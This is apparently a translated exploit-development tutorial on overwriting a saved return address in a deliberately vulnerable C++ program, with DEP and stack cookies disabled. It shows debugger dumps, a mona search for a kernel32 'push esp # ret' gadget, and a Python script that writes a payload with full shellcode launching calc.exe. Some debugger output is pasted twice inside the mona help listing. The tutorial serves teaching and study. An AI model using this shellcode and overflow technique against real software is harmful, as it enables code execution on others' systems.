P3nro5e · 2015/10/28 10:44

from:

  • Expdev-kiuhnm.rhcloud.com/2015/05/26/…
  • Expdev-kiuhnm.rhcloud.com/2015/06/13/…

0x01 Exploitme1 (” Ret eIP “Overwrite) &More Space on stack


This simple C/C ++ program is obviously flawed:

#! c++ #include <cstdio> int main() { char name[32]; printf("Enter your name and press ENTER\n"); scanf("%s", name); printf("Hi, %s! \n", name); return 0; }Copy the code

The problem is that scanf() goes beyond the bounds of the array name. To verify this weakness, we run the program and enter a variable of considerable length for the array name, such as:

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Copy the code

The program prints:

Hi, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
Copy the code

And then there’s a crash.

Here’s the interesting thing: Assigning a specific array name allows the program to execute arbitrary code.

First, in VS 2013, DEP and Stack cookies are turned off through Project→ Properties, and then the configuration is modified under the Release option:

  • Configuration Properties->C/C++->Code Generation->Security Check: Disable Security Check (/GS-)
  • Linker->Advanced->Data Execution Prevention (DEP): No (/NXCOMPAT:NO)

The main() function is described in assembly as follows:

int main() { 01391000 55 push ebp 01391001 8B EC mov ebp,esp 01391003 83 EC 20 sub esp,20h char name[32]; printf("Enter your name and press ENTER\n"); 01391006 68 00 21 39 01 push 1392100h 0139100B FF 15 8C 20 39 01 call dword ptr ds:[139208Ch] scanf("%s", name); 01391011 8D 45 E0 lea eax,[name] 01391014 50 push eax 01391015 68 24 21 39 01 push 1392124h 0139101A FF 15 94 20 39 01 call dword ptr ds:[1392094h] printf("Hi, %s! \n", name); 01391020 8D 45 E0 lea eax,[name] 01391023 50 push eax 01391024 68 28 21 39 01 push 1392128h 01391029 FF 15 8C 20 39 01 call dword ptr ds:[139208Ch] 0139102F 83 C4 14 add esp,14h return 0; 01391032 33 C0 xor eax,eax } 01391034 8B E5 mov esp,ebp 01391036 5D pop ebp 01391037 C3 retCopy the code

Here is the assembly code that calls main() :

            mainret = main(argc, argv, envp);
00261222 FF 35 34 30 26 00    push        dword ptr ds:[263034h]  
00261228 FF 35 30 30 26 00    push        dword ptr ds:[263030h]  
0026122E FF 35 2C 30 26 00    push        dword ptr ds:[26302Ch]  
00261234 E8 C7 FD FF FF       call        main (0261000h)  
00261239 83 C4 0C             add         esp,0Ch
Copy the code

At this point you should know that the stack is growing at lower addresses. After the above three push instructions are executed, the stack will look like this:

 esp -->  argc         ; third push
           argv         ; second push
           envp         ; first push
Copy the code

The Call directive pushes 0x261239 onto the stack, so the RET directive can return to the code of the Call directive as follows. After the Call instruction is executed, at the beginning of main(), the stack will look like this:

  esp -->  ret eip      ; 0x261239
           argc         ; third push
           argv         ; second push
           envp         ; first push
Copy the code

The main() function starts with:

01391000 55                   push        ebp  
01391001 8B EC                mov         ebp,esp  
01391003 83 EC 20             sub         esp,20h  
Copy the code

After these three instructions are executed, the stack will look like this:

  esp -->  name[0..3]   ; first 4 bytes of "name"
           name[4..7]
           .
           .
           .
           name[28..31] ; last 4 bytes of "name"
  ebp -->  saved ebp
           ret eip      ; 0x261239
           argc         ; third push
           argv         ; second push
           envp         ; first push
Copy the code

Now scanf() reads the data from standard input and writes it to the array name. If the data length exceeds 32 bytes, the RET EIP will be overwritten.

Let’s look at the last three instructions of main() :

  01391034 8B E5                mov         esp,ebp  
  01391036 5D                   pop         ebp  
  01391037 C3                   ret
Copy the code

After the mov ESP, eBP instruction is executed, the stack will look like this:

esp,ebp -> saved ebp
           ret eip      ; 0x261239
           argc         ; third push
           argv         ; second push
           envp         ; first push
Copy the code

After the POP EBP instruction is executed, we have:

  esp -->  ret eip      ; 0x261239
           argc         ; third push
           argv         ; second push
           envp         ; first push
Copy the code

Finally, ret EIP is popped from the top of the stack and moved to that address. If we change the RET EIP, we can redirect the execution stream to any address we want. As mentioned above, we can override ret EIP by writing variables beyond the bounds of the array name. Since scanf() doesn’t check the length of the input, this idea seems feasible. Knowing the above design, you should be sure that your RET EIP is located at address Name +36.

In VS 2013, start the debugger by pressing F5 and entering data:

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Copy the code

The program crashes and a dialog box appears with the following message:

Unhandled exception at 0x61616161 in exploitme1.exe: 0xC0000005: Access violation reading location 0x61616161.
Copy the code

The ASCII code for ‘a’ is 0x61, so we override ret EIP with ‘aAAA’, 0x61616161, and the RET instruction has jumped to the invalid address 0x61616161. Now we confirm that the RET EIP is at the name+36 address by entering 36 “a’s”,4 “B’s” and a certain amount of “C’s”.

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbccccccccc
Copy the code

It is good to see the following information:

Unhandled exception at 0x62626262 in exploitme1.exe: 0xC0000005: Access violation reading location 0x62626262.
Copy the code

This makes our guess clear (note “BBBB” on 0x62626262)

The stack changes before and after scanf() are summarized as follows:

name[0..3] aaaa name[4..7] aaaa . . B . A . E . F . F name[28..31] =========> T aaaa O saved ebp E aaaa R ret eip R bbbb  E argc cccc argv cccc envp ccccCopy the code

For a more concise description, we modify the program so that the text content can be read from the file C :\name.dat: :

#! c++ #include <cstdio> int main() { char name[32]; printf("Reading name from file... \n"); FILE *f = fopen("c:\\name.dat", "rb"); if (! f) return -1; fseek(f, 0L, SEEK_END); long bytes = ftell(f); fseek(f, 0L, SEEK_SET); fread(name, 1, bytes, f); name[bytes] = '\0'; fclose(f); printf("Hi, %s! \n", name); return 0; }Copy the code

Create a file named. Dat in c:\ with the following contents:

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbccccccccccccccccccccccccccc
Copy the code

Now load exploitme1.exe with WinDbg and press F5(go). You should see this exception:

(180c.5b0): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This  exception may be expected and handled. eax=00000000 ebx=00000000 ecx=6d383071 edx=00835451 esi=00000001 edi=00000000 eip=62626262 esp=0041f7d0 ebp=61616161 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 62626262 ?? ?????Copy the code

Let’s look at the part of the stack that ESP points to:

0:000> d @esp 0041f7d0 63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63 cccccccccccccccc 0041f7e0 63 63 63 63 63 63 63 63-63 63 63 00 00 00 00 00 ccccccccccc..... 0041f7f0 dc f7 41 00 28 00 00 00-44 f8 41 00 09 17 35 01 .. A.(... D.A... 5. 0041f800 b9 17 e0 fa 00 00 00 00-14 f8 41 00 8a 33 0c 76 .......... A.. 3.v 0041f810 00 e0 fd 7e 54 f8 41 00-72 9f 9f 77 00 e0 fd 7e ... ~T.A.r.. w... ~ 0041f820 2c 2d 41 75 00 00 00 00-00 00 00 00 00 e0 fd 7e ,-Au........... ~ 0041f830 00 00 00 00 00 00 00 00-00 00 00 00 20 f8 41 00 ............ .A. 0041f840 00 00 00 00 ff ff ff ff-f5 71 a3 77 28 10 9e 02 ......... q.w(... 0:000> d @esp-0x20 0041f7b0 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa 0041f7c0 61 61 61 61 61 61 61 61-61 61 61 61 62 62 62 62 aaaaaaaaaaaabbbb 0041f7d0 63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63 cccccccccccccccc  0041f7e0 63 63 63 63 63 63 63 63-63 63 63 00 00 00 00 00 ccccccccccc..... 0041f7f0 dc f7 41 00 28 00 00 00-44 f8 41 00 09 17 35 01 .. A.(... D.A... 5. 0041f800 b9 17 e0 fa 00 00 00 00-14 f8 41 00 8a 33 0c 76 .......... A.. 3.v 0041f810 00 e0 fd 7e 54 f8 41 00-72 9f 9f 77 00 e0 fd 7e ... ~T.A.r.. w... ~ 0041f820 2c 2d 41 75 00 00 00 00-00 00 00 00 00 e0 fd 7e ,-Au........... ~Copy the code

Perfect! ESP points to the address of C. Remember ESP is 0x41F7d0. Now run exploitme1.exe again by pressing CTRL+SHIFT+F5 (restart) and F5(go).

Look at the stack again:

0:000> d @esp 0042fce0 63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63 cccccccccccccccc 0042fcf0 63 63 63 63 63 63 63 63-63 63 63 00 00 00 00 00 ccccccccccc..... 0042fd00 ec fc 42 00 29 00 00 00-54 fd 42 00 09 17 12 00 .. B.)... T.B..... 0042fd10 94 7f 07 21 00 00 00 00-24 fd 42 00 8a 33 0c 76 ... ! . $.B.. 3.v 0042fd20 00 e0 fd 7e 64 fd 42 00-72 9f 9f 77 00 e0 fd 7e ... ~d.B.r.. w... ~ 0042fd30 c4 79 5c 75 00 00 00 00-00 00 00 00 00 e0 fd 7e .y\u........... ~ 0042fd40 00 00 00 00 00 00 00 00-00 00 00 00 30 fd 42 00 ............ 0.B. 0042fd50 00 00 00 00 ff ff ff ff-f5 71 a3 77 f0 41 80 02 ......... q.w.A..Copy the code

As you can see, ESP still points to the same address as “C”, but at a different address. We put shellcode in the “C” position. However, the ret EIP cannot be overwritten with 0x42Fce0. Because the exact address keeps changing. But ESP always points to ShellCode, so why can’t we override ret EIP with an address that contains a JMP ESP instruction in memory?

We use mona(Refresher) to find this directive:

0:000> .load pykd.pyd
0:000> !py mona
Hold on...
[+] Command used:
!py mona.py
     'mona' - Exploit Development Swiss Army Knife - WinDbg (32bit)
     Plugin version : 2.0 r554
     PyKD version 0.2.0.29
     Written by Corelan - https://www.corelan.be
     Project page : https://github.com/corelan/mona
    |------------------------------------------------------------------|
    |                                                                  |
    |    _____ ___  ____  ____  ____ _                                 |
    |    / __ `__ \/ __ \/ __ \/ __ `/  https://www.corelan.be         |
    |   / / / / / / /_/ / / / / /_/ /  https://www.corelan-training.com|
    |  /_/ /_/ /_/\____/_/ /_/\__,_/  #corelan (Freenode IRC)          |
    |                                                                  |
    |------------------------------------------------------------------|    

Global options :
----------------
You can use one or more of the following global options on any command that will perform
a search in one or more modules, returning a list of pointers :
 -n                     : Skip modules that start with a null byte. If this is too broad, use
                          option -cm nonull instead
 -o                     : Ignore OS modules
 -p <nr>                : Stop search after <nr> pointers.
 -m <module,module,...> : only query the given modules. Be sure what you are doing !
                          You can specify multiple modules (comma separated)
                          Tip : you can use -m *  to include all modules. All other module criteria will be ignored
                          Other wildcards : *blah.dll = ends with blah.dll, blah* = starts with blah,
                          blah or *blah* = contains blah
 -cm <crit,crit,...>    : Apply some additional criteria to the modules to query.
                          You can use one or more of the following criteria :
                          aslr,safeseh,rebase,nx,os
                          You can enable or disable a certain criterium by setting it to true or false
                          Example :  -cm aslr=true,safeseh=false
                          Suppose you want to search for p/p/r in aslr enabled modules, you could call
                          !mona seh -cm aslr
 -cp <crit,crit,...>    : Apply some criteria to the pointers to return
                          Available options are :
                          unicode,ascii,asciiprint,upper,lower,uppernum,lowernum,numeric,alphanum,nonull,startswithnull,unicoderev
                          Note : Multiple criteria will be evaluated using 'AND', except if you are looking for unicode + one crit
 -cpb '\x00\x01'        : Provide list with bad chars, applies to pointers
                          You can use .. to indicate a range of bytes (in between 2 bad chars)
 -x <access>            : Specify desired access level of the returning pointers. If not specified,
                          only executable pointers will be return.
                          Access levels can be one of the following values : R,W,X,RW,RX,WX,RWX or *    

Usage :
-------    

 !mona <command> <parameter>    

Available commands and parameters :    

? / eval             | Evaluate an expression
allocmem / alloc     | Allocate some memory in the process
assemble / asm       | Convert instructions to opcode. Separate multiple instructions with #
bpseh / sehbp        | Set a breakpoint on all current SEH Handler function pointers
breakfunc / bf       | Set a breakpoint on an exported function in on or more dll's
breakpoint / bp      | Set a memory breakpoint on read/write or execute of a given address
bytearray / ba       | Creates a byte array, can be used to find bad characters
changeacl / ca       | Change the ACL of a given page
compare / cmp        | Compare contents of a binary file with a copy in memory
config / conf        | Manage configuration file (mona.ini)
copy / cp            | Copy bytes from one location to another
dump                 | Dump the specified range of memory to a file
dumplog / dl         | Dump objects present in alloc/free log file
dumpobj / do         | Dump the contents of an object
egghunter / egg      | Create egghunter code
encode / enc         | Encode a series of bytes
filecompare / fc     | Compares 2 or more files created by mona using the same output commands
fillchunk / fchunk   | Fill a heap chunk referenced by a register
find / f             | Find bytes in memory
findmsp / findmsf    | Find cyclic pattern in memory
findwild / fw        | Find instructions in memory, accepts wildcards
flow / flw           | Simulate execution flows, including all branch combinations
fwptr / fwp          | Find Writeable Pointers that get called
geteat / eat         | Show EAT of selected module(s)
getiat / iat         | Show IAT of selected module(s)
getpc                | Show getpc routines for specific registers
gflags / gf          | Show current GFlags settings from PEB.NtGlobalFlag
header               | Read a binary file and convert content to a nice 'header' string
heap                 | Show heap related information
help                 | show help
hidedebug / hd       | Attempt to hide the debugger
info                 | Show information about a given address in the context of the loaded application
infodump / if        | Dumps specific parts of memory to file
jmp / j              | Find pointers that will allow you to jump to a register
jop                  | Finds gadgets that can be used in a JOP exploit
kb / kb              | Manage Knowledgebase data
modules / mod        | Show all loaded modules and their properties
noaslr               | Show modules that are not aslr or rebased
nosafeseh            | Show modules that are not safeseh protected
nosafesehaslr        | Show modules that are not safeseh protected, not aslr and not rebased
offset               | Calculate the number of bytes between two
0:000> d @esp
0041f7d0  63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63  cccccccccccccccc
0041f7e0  63 63 63 63 63 63 63 63-63 63 63 00 00 00 00 00  ccccccccccc.....
0041f7f0  dc f7 41 00 28 00 00 00-44 f8 41 00 09 17 35 01  ..A.(...D.A...5.
0041f800  b9 17 e0 fa 00 00 00 00-14 f8 41 00 8a 33 0c 76  ..........A..3.v
0041f810  00 e0 fd 7e 54 f8 41 00-72 9f 9f 77 00 e0 fd 7e  ...~T.A.r..w...~
0041f820  2c 2d 41 75 00 00 00 00-00 00 00 00 00 e0 fd 7e  ,-Au...........~
0041f830  00 00 00 00 00 00 00 00-00 00 00 00 20 f8 41 00  ............ .A.
0041f840  00 00 00 00 ff ff ff ff-f5 71 a3 77 28 10 9e 02  .........q.w(...
0:000> d @esp-0x20
0041f7b0  61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa
0041f7c0  61 61 61 61 61 61 61 61-61 61 61 61 62 62 62 62  aaaaaaaaaaaabbbb
0041f7d0  63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63  cccccccccccccccc
0041f7e0  63 63 63 63 63 63 63 63-63 63 63 00 00 00 00 00  ccccccccccc.....
0041f7f0  dc f7 41 00 28 00 00 00-44 f8 41 00 09 17 35 01  ..A.(...D.A...5.
0041f800  b9 17 e0 fa 00 00 00 00-14 f8 41 00 8a 33 0c 76  ..........A..3.v
0041f810  00 e0 fd 7e 54 f8 41 00-72 9f 9f 77 00 e0 fd 7e  ...~T.A.r..w...~
0041f820  2c 2d 41 75 00 00 00 00-00 00 00 00 00 e0 fd 7e  ,-Au...........~ addresses
pageacl / pacl       | Show ACL associated with mapped pages
pattern_create / pc  | Create a cyclic pattern of a given size
pattern_offset / po  | Find location of 4 bytes in a cyclic pattern
peb / peb            | Show location of the PEB
rop                  | Finds gadgets that can be used in a ROP exploit and do ROP magic with them
ropfunc              | Find pointers to pointers (IAT) to interesting functions that can be used in your ROP chain
seh                  | Find pointers to assist with SEH overwrite exploits
sehchain / exchain   | Show the current SEH chain
skeleton             | Create a Metasploit module skeleton with a cyclic pattern for a given type of exploit
stackpivot           | Finds stackpivots (move stackpointer to controlled area)
stacks               | Show all stacks for all threads in the running application
string / str         | Read or write a string from/to memory
suggest              | Suggest an exploit buffer structure
teb / teb            | Show TEB related information
tobp / 2bp           | Generate WinDbg syntax to create a logging breakpoint at given location
unicodealign / ua    | Generate venetian alignment code for unicode stack buffer overflow
update / up          | Update mona to the latest version    

Want more info about a given command ?  Run !mona help
Copy the code

What we’re interested in in this line is this:

jmp / j              | Find pointers that will allow you to jump to a register
Copy the code

Let’s try:

0:00 0 >! py mona jmp Hold on... [+] Command used: ! py mona.py jmp Usage : Default module criteria : non aslr, non rebase Mandatory argument : -r where reg is a valid register [+] This mona.py action took 0:00:00Copy the code

Ok, we need another parameter:

0:00 0 >! py mona jmp -r ESP Hold on... [+] Command used: ! Py mona. Py JMP-R ESP ---------- Mona Command Started on 2015-03-18 02:30:53 (v2.0, rev 554) ---------- [+] Processing arguments and criteria - Pointer access level : X [+] Generating module info table, hang on... - Processing modules - Done. Let's rock 'n roll. [+] Querying 0 modules - Search complete, processing results [+] Preparing output file 'jmp.txt' - (Re)setting logfile jmp.txt Found a total of 0 pointers [+] This mona.py action took 0:00:00.110000Copy the code

Unfortunately, it didn’t find any modules. The problem is that all modules support ASLR (AddressSpace Layout Randomization), which means that they change their base address each time they are loaded into memory. Now, assume that ASLR protection is not turned on and search the kernel32.dll module for the JMP ESP directive. Because this module is shared by each application, the address of Windows is changed only after it is restarted. This makes it more effective against exploitation, but we can pretend that ASLR protection has been turned off until we restart Windows.

Because we are telling Mona to search for the address we need from kernel32.dll, we use the global option -m:

0:00 0 >! py mona jmp -r ESP -m kernel32.dll Hold on... [+] Command used: ! Py mona.py jMP-r ESP -m kernel32.dll ---------- Mona Command Started on 2015-03-18 02:36:58 (v2.0, rev 554) ---------- [+] Processing arguments and criteria - Pointer access level : X - Only querying modules kernel32.dll [+] Generating module info table, hang on... - Processing modules - Done. Let's rock 'n roll. [+] Querying 1 modules - Querying module kernel32.dll ^ Memory access error in '! py mona jmp -r ESP -m kernel32.dll' ** Unable to process searchPattern 'mov eax,esp # jmp eax'. ** - Search complete, processing results [+] Preparing output file 'jmp.txt' - (Re)setting logfile jmp.txt [+] Writing results to jmp.txt - Number of pointers of type 'call esp' : 2 - Number of pointers of type 'push esp # ret ' : 1 [+] Results : 0x760e7133 | 0x760e7133 (b+0x00037133) : call esp | ascii {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C: \ Windows \ syswow64 \ kernel32 DLL) 0 x7614ceb2 | 0 x7614ceb2 (b + 0 x0009ceb2) : call esp | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C: \ Windows \ syswow64 \ kernel32 DLL) 0 x7610a980 | 0 x7610a980 (b + 0 x0005a980) : push esp # ret | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, V6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll) Found a total of 3 Pointers [+] This mona.py action took 0:00:00. 172000 good! Found three address, we use the last one: 0 x7610a980 | 0 x7610a980 (b + 0 x0005a980) : push the esp # ret | {PAGE_EXECUTE_READ}Copy the code

Verify that the address is correct:

0:000> u 0x7610a980 kernel32! GetProfileStringW+0x1d3e4: 7610a980 54 push esp 7610a981 c3 ret 7610a982 1076db adc byte ptr [esi-25h],dh 7610a985 fa cli 7610a986 157640c310 adc eax,10C34076h 7610a98b 76c8 jbe kernel32! GetProfileStringW+0x1d3b9 (7610a955) 7610a98d fa cli 7610a98e 157630c310 adc eax,10C33076hCopy the code

As you can see, Mona searches not only for JMP directives, but also for CALL and PUSH+RET directives. Therefore, we need 0x7610a980 with the byte “\x80\xa9\x10\x76” (remember that Intel CPUs are in small-end mode). To override the RET EIP.

Write a short Python script. Open IDLE and type:

#! python with open('c:\\name.dat', 'wb') as f: ret_eip = '\x80\xa9\x10\x76' shellcode = '\xcc' name = 'a'*36 + ret_eip + shellcode f.write(name)Copy the code

Re-run exploitme1.exe with WinDbg, press F5 and WinDbg will break on our shellcode (0xCC is the opcode for int 3, which the debugger uses as a software breakpoint) :

(1adc.1750): Break instruction exception - code 80000003 (first chance)
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\syswow64\kernel32.dll -
eax=00000000 ebx=00000000 ecx=6d383071 edx=002e5437 esi=00000001 edi=00000000
eip=001cfbf8 esp=001cfbf8 ebp=61616161 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
001cfbf8 cc              int     3
Copy the code

Now we add the real Shellcode:

#! python with open('c:\\name.dat', 'wb') as f: ret_eip = '\x80\xa9\x10\x76' shellcode = ("\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02"+ "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa"+ "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8"+ "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02"+ "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45"+ "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6"+ "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c"+ "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0"+ "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53"+ "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45"+ "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2"+ "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b"+ "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff"+ "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0"+ "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75"+ "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d"+ "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c"+ "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24"+ "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04"+ "\x30\x03\xc6\xeb\xdd") name = 'a'*36 + ret_eip + shellcode f.write(name)Copy the code

Construct shellCode by using the following code

#! c++ #define HASH_ExitThread 0x4b3153e0 #define HASH_WinExec 0x7bb4c07f int entryPoint() { DefineFuncPtr(WinExec); DefineFuncPtr(ExitThread); char calc[] = { 'c', 'a', 'l', 'c', '.', 'e', 'x', 'e', '\0' }; // makes our shellcode shorter My_WinExec(calc, SW_SHOW); My_ExitThread(0); return 0; }Copy the code

test

If the exploit is not performing successfully on your system, it may be due to limited space on the stack. Ways to allocate more space on the stack are discussed below.

0x02 More space on stack


If the utilization is not working properly because of an incredible crash in Fread or some other illegal access error, there is probably not enough space on the stack.

The easiest solution is to modify the program’s code, from here:

#! c++ #include <cstdio> int main() { <contents of main> }Copy the code

Here:

#! c++ #include <cstdio> _declspec(noinline) int old_main() { <contents of main> } int main() { char moreStack[10000]; for (int i = 0; i < sizeof(moreStack); ++i) moreStack[i] = i; return old_main(); }Copy the code

For example, here:

#! c++ #include <cstdio> int main() { char name[32]; printf("Reading name from file... \n"); FILE *f = fopen("c:\\name.dat", "rb"); if (! f) return -1; fseek(f, 0L, SEEK_END); long bytes = ftell(f); fseek(f, 0L, SEEK_SET); fread(name, 1, bytes, f); name[bytes] = '\0'; fclose(f); printf("Hi, %s! \n", name); return 0; }Copy the code

Be changed to:

#! c++ #include <cstdio> _declspec(noinline) int old_main() { char name[32]; printf("Reading name from file... \n"); FILE *f = fopen("c:\\name.dat", "rb"); if (! f) return -1; fseek(f, 0L, SEEK_END); long bytes = ftell(f); fseek(f, 0L, SEEK_SET); fread(name, 1, bytes, f); name[bytes] = '\0'; fclose(f); printf("Hi, %s! \n", name); return 0; } int main() { char moreStack[10000]; for (int i = 0; i < sizeof(moreStack); ++i) moreStack[i] = i; return old_main(); }Copy the code

On the stack, the stack variable moreStack gives us more space. Remember that the stack grows to the lower address, but fread writes to the higher address. If there is no extra space on the stack, Fread may write to the end of the stack and the program will crash

Use your head as you always do. Sometimes, freAD reaches the end of the stack and raises an exception, so that the exception handler is called (based on SEH utilization). The important thing is to have enough space for your payload to exist on the stack. If you need more or less space, just resize moreStack properly.

You need a for loop in main, otherwise moreStack will be optimized away. Also, if the function f is inline, the buffer name is allocated after the moreStack (that is, toward the end of the stack) of the Defeat target. Therefore, to avoid this, we need to use _declspec(noinline).

Pictures paint a clearer picture of reality: